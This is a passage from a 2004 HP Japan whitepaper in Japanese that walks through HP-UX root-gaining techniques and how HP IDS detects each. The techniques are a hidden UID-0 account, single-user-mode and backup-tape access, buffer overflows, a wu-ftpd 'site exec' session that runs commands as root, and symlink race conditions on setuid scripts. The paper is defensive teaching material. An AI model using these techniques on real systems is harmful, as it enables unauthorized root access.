ユーザーとしてログインするということは、UID (user identification) として 0 (zero) を持つ root と呼ばれる ユーザーとしてログインするということです。定義としてはどのようなユーザーでも UID として 0 を持てばそれは root です。権限、パーミッション、アクセス レベルなどはすべて UID に基づいています。名前ではありません。 $ who am i kolson pts/ta Jan 28 15:08 $ sh -c id uid=0(root) gid=20(users) groups=3(sys),0(root),1(other),2(bin),4(adm),5(daemon) ,6(mail),7(lp) $ grep :0: /etc/passwd root:dcWKwOB7RRlM,O:0:3::/:/sbin/sh 18 kolson:BFqR67obPtSTI:0:20:,,,:/home/kolson:/usr/bin/sh who am i コマンドでは kolson が通常のユーザーのように見えます。しかし UID を調べてみるとこのユーザーは 全く通常のユーザーではないことが判明します。ここまで読まれた皆さんは、この UID を 0 に変更する方法については すぐにいくつかのアイデアを思いつくことと思います。 HP IDS でこの方法を検知できるか? → Yes テンプレート「ファイル/ディレクトリの変更」を有効にすると、/etc/passwd ファイルが変更された時点で警告が発せ られます。もしシステムが高信頼性モード (Trusted Mode) になっていない場合、暗号化されたパスワードは /etc/passwd ファイルに保管されています。この場合、ユーザーがパスワードを変更するたびに警告が送られるの で、管理者にとっては多少煩わしいかもしれません。もしシステムが高信頼性モードで動作している場合には、ユーザ ーの追加、削除、あるいは何か他の方法により変更が行われた場合に限り警告が生成されます。これはユーザーが chfn コマンドを使って GECOS フィールドを変更することも含まれます。 7) 物理的なアクセス HP-UX は他の UNIX オペレーティング システムと同様にいくつかの異なる 動作レベル を持ちます。このうちの 1 つが シングルユーザー モード と呼ばれるものです。このモードはコンソールから、パスワードを一切必要とせずに root ログインできるという点で非常に特殊です。これは誰かが勝手にパスワードを変更して、それを忘れてしまった場合など に便利です。 しかし (当然ながら) これはセキュリティ リスクとなります。そのマシンに物理的に触ることのできる誰もが root になれ るという危険性を潜在的にはらんでいるからです。この方法でアクセスするためには、一度マシンをシャットダウン/リブ ートして、シングルユーザー モードで立ち上げなおさなければなりません。これは自然と利用者の注意を引くことになり ます。 恐らくこの方法は、実際にサービスを提供している稼動システムにではなく、非稼動システムに対して用いられることが 多いでしょう。しかし注意しなければならないのは、この非稼動システムは稼動システムから「信頼」されているかも知 れないということです。このいい例はユーザーの机の上に置かれている HP-UX ワークステーションです。このユーザー は現在休暇に出ていてワークステーションはシャットダウンされていると仮定しましょう。物理的アクセス手段を得た侵 入者は、このワークステーションを立ち上げ、シングルユーザー モードに入り、root でログインします。そしてパスワ ードを変更し、通常モードで立ち上げなおし、探索を開始するのです。 このようなことがあなたのサイトでは起こらないと思わないでください。施設内の物理的セキュリティに関しては驚くほど 注意が欠けていることが多々あります。会社内でうろうろしていても誰も不審に思ったり声をかけてきたりしないばかり か、親切にもわざわざセキュリティ カードで閉ざされたドアを開けてくれる人もいます (カードを忘れたかわいそうな人と 思われたのでしょう) 。 また、バックアップ テープに関する物理的アクセスの問題も忘れないでください。オペレータや管理者の机の上にこれ らが剥き出しで無造作に置かれているのをよく見かけます。もしこれがフルバックアップならば、このテープをさっとつか んで、他のシステムで /etc/passwd ファイルをリストアし、パスワード推測プログラムを走らせるだけです。部分バッ クアップのテープにしてもかなりの確率で/etc/passwd ファイルが含まれていることでしょう。 HP IDS でこの方法を検知できるか? → Yes HP IDS は侵入者がシステムをシングルユーザー モードで立ち上げること自体を検出することはできません。シングル ユーザー モードでは idsagent が動作しないことがその理由です。しかしこの状態では、GUI がエージェントに ping できないので、システムが「ダウン」したという警告が管理者に送られます。この警告を受け取った管理者はシステムが なぜ「ダウン」したのかを確認する必要があります。 8) バッファ オーバーフロー バッファ/スタック オーバーフローはシステムへアクセスする方法として非常に一般的です。これまではこれらの抜け道 を防ぐ手段としては「発見されたらただちにパッチを適用する」以外に方法がありませんでした。この脆弱性は、多くのソ フトウェア プログラムが入力のサイズをチェックしていないことに起因しています。 19 例えば、あるプログラムが入力サイズのチェックを行っていなかったとしましょう。普通、このプログラムへの入力は 8 文字以下ですが、攻撃者はこのプログラムに数千文字の入力を試みます。この大量の文字はどこへ行くのでしょう か?これはメモリ上の他のエリアにあふれ出て、プログラムをクラッシュさせ、攻撃者を root シェルへと導きます。HP IT リソースセンタ (itrc.hp.com) のセキュリティ報告をのぞいて見るとバッファ オーバーフロー問題に対するたくさんの パッチを発見することができるでしょう。 HP-UX 11i 以降ではこの攻撃に対する防衛として executable_stack カーネル パラメータが用意されています。 このパラメータを 0 に設定するとスタックからのプログラム実行を禁止することができます。 1 にセットするとその逆で す。すべてのプログラム スタックが実行可能になります。 2 へのセットは 0 と基本的に同等ですが、スタックから実 行しようとするプロセスを終了させる代わりに警告が発せられます。これは「トライアルモード」と呼ばれるもので、攻撃 を阻止することはできませんが、検知することはできます。 Note:HP-UX 11i version 1 ではデフォルトで 1 (許可) が選択されています。一方、HP-UX 11i version 1.6、および version 2 でのデフォルトは 0 (禁止) です。 ごく一部のアプリケーション (シミュレータやインタプリタの一部など) はスタックからの実行が必要となるものもあります。 こうしたアプリケーションに対しては chatr コマンドを用いて個別に実行の許可を与えてください (man chatr 参 照) 。この許可が与えられているプログラムはたとえ 0 に設定されていたとしても実行を妨げられることはありません。 HP IDS でこの方法を検知できるか? → Yes 「バッファ オーバーフロー攻撃」テンプレートにより、この攻撃が行われると HP IDS により直ちに報告されます。この攻 撃を検知した場合は、すぐにパッチを当てるか、そのサービスを停止する必要があります (パッチがない場合) 。HP-UX 11i 以降を使用している場合は、カーネル パラメータ executable_stack を使用してください。 9) FTP デーモン これまで多くの攻撃が FTP デーモンの脆弱性に対して行われてきました。これらの中でも代表的なものが FTP ユーザ ーが root としてコマンドを実行できてしまう脆弱性です。次の例では FTP が動いているシステムにアカウントを持つ一 般ユーザーがこれを行う様子を示します。 220 exploitablesys FTP server (Version wu-2.4(1) Sun July 31 21:59:34 GMT 2002) ready. Name (exploitableysy:root): goodaccount 331 Password required for goodaccount. Password: (password) 230 User goodaccount logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp> quote “site exec bash –c id” (see if sys is exploitable) 200-bash –c id 200-uid=0(root) gid=0(root) euid=505(static) egid=100(users) groups=100(users) 200 (end of `bash –c id`) ftp> quote “site exec bash –c /yer/home/dir/tfpbug” 200-bash –c /yer/home/dir/ftpbug 6. (end of `bash –c /yer/home/dir/ftpbug`) ftp> quit 221 Goodbye 攻撃者はまず site exec コマンドが期待する反応を示すかどうかをチェックします。そして ftpd が脆弱性を持つ と判断すると、再び site exec を使ってそのユーザーのディレクトリ内のプログラムを実行します。そしてこのプログ ラムが root シェルを作り出すというわけです。 20 HP IDS でこの方法を検知できるか? → Yes HP IDS は上記のような特定の攻撃自体は検知することはできません。ただし、それらの行為の後に行われる攻撃につ いては高い確率で検知することができます。この中には setuid ファイルの作成や、ファイル パーミッションの変更な どが含まれます。 10) レース競合 (race condition) レース競合とは、デバイス、あるいはシステムが複数の処理を同時に行おうとした結果起こる望ましくない状態を指しま す。例えば、メモリから大量のデータを読み込み、かつその領域に同時に書き込みを行うような場合を想定してみましょ う。すべての読み込みが終わらないうちに書き込みを行ってしまうと、プログラムは恐らくクラッシュしてしまうでしょう。 攻撃者はこのレース競合をよく setuid、あるいは setgid スクリプトと組み合わせて利用します。次のような例を考 えてみましょう。 1. 2. 3. 4. 一般ユーザーが実行できる setuid スクリプトが存在する。 この setuid スクリプトへのシンボリック リンクを作成する。 シンボリック リンクから setuid スクリプトを起動する (nice で優先度を下げておく) すぐにこのシンボリック リンクを削除して、別のスクリプトへのシンボリック リンクを作成する。 脆弱性が存在するのは 3 と 4 の間です。シェル スクリプトの実行はシェルのインスタンスをロードするステップ 1 と、そ のシェルにスクリプトをロードするステップ 2 に分けられます。もしステップ1の後、違うスクリプトがロードされてしまうと どうなるでしょうか?この悪意のあるスクリプトは root 権限のシェルで実行されてしまうことになります。この攻撃は微 妙なタイミングが関係してくるので 1 度で成功するとは限りません。しかし攻撃者はこの試みが成功するまで何度も繰 り返し実行を行うことでしょう。 HP IDS でこの方法を検知できるか? → Yes テンプレート「Race Condition 攻撃」を有効にすることで、この攻撃を検知することができます。このテンプレートは、 ファイルがチェックされてアクセスされるその時間のあいだにファイル リファレンスが変更された場合、管理者に警告を 送ります。 このセクションで述べたこれらの 10 の方法は HP-UX において root 権限を得る方法を説明したものですが、ここで 理解して欲しいのは、これは HP-UX が他の UNIX オペレーティング システムと比較してセキュリティ的に「弱い」という ことを意味しているわけではありません。これらの脆弱性は UNIX のデザインそのものに起因しています。といっても UNIX オペレーティング システム一般が他のオペレーティング システムよりもセキュリティ的に劣るということでもありま せん。UNIX は非常に広く使われ、盛んに研究が行われている OS です。これはそれ自体が持つオープンな性質と合 わせて、莫大な知識が蓄積されていることを意味します。他のオペレーティング システムの情報が簡単に得られない からといって、その OS が脆弱性を持っていないということではないのです。 Note:ここで紹介した方法はあくまでも侵入検知に対する教育を目的としています。それ以外の目的で使用することは 絶対行わないでください。 まとめ HP-UX HP IDS は HP-UX 上で動作するホスト型侵入検知システムです。ファイアウォールやネットワーク型侵入検知シ ステムで対処できなかった場合の最後の砦としてシステムを悪意のある攻撃から守ります。OS と密接に連携すること で攻撃を確実に補足し、即座に管理者に警告を発することができます。また、管理 GUI を使用することにより簡単に監 視ルール/スケジュールを設定でき、複数のマシンを 1 箇所で集中管理することも可能です。 HP IDS はつぎのような機能を提供します。 • リアルタイムなイベントの監視 21 o システム ログファイル o カーネル監査データ (システムコール) • 相関分析エンジン による関連性のあるイベントの処理 o システムに組み込まれたイベント相関分析 o 検出テンプレートに基づいたデータ分析 o 相関分析エンジンが侵入の発生を検知 • 中央管理システムへ侵入警告を送信 o 警告はただちに報告/記録 o 警告に際して自動的に任意のスクリプトを実行することが可能 o 中央監視システムは複数のエージェント システムを一元的に管理可能 o OpenView との連携も可能 22 参考情報 www.hp.com/ 会社紹介・製品紹介など (英語) docs.hp.com/ HP テクニカル ドキュメント ポータルサイト (英語、日本語) HP-UX Host Intrusion Detection System のリリースノート、マニュアルが入手可能。 software.hp.com/ ソフトウェア ダウンロード サイト (英語) HP-UX Host Intrusion Detection System のダウンロードが可能 (無償) itrc.hp.com/ サポート情報サイト (パッチ、ユーザーコミュニティなど) hp-ux - Security フォーラムで活発な議論 (英文) お問い合わせはカスタマー インフォメーションセンターへ 03-6416-6660 月∼金 9:00∼19:00 土10:00∼18:00 (日、祝祭日、年末年始および5/1を除く) HP-UX製品に関する情報は http://www.hp.com/jp/hpux 記載されている会社名および商品名は、各社の商標または登録商標です。 記載事項は2004年2月現在のものです。 本書に記載された内容は、予告なく変更されることがあります。 本書中の技術的あるいは校正上の誤り、省略に対して、 いかなる責任も負いかねますのでご了承ください。 © Copyright 2004 Hewlett-Packard Development Company, L.P. 日本ヒューレット・パッカード株式会社 〒140-8641 東京都品川区東品川2-2-24 天王洲セントラルタワー PDFHS04014-01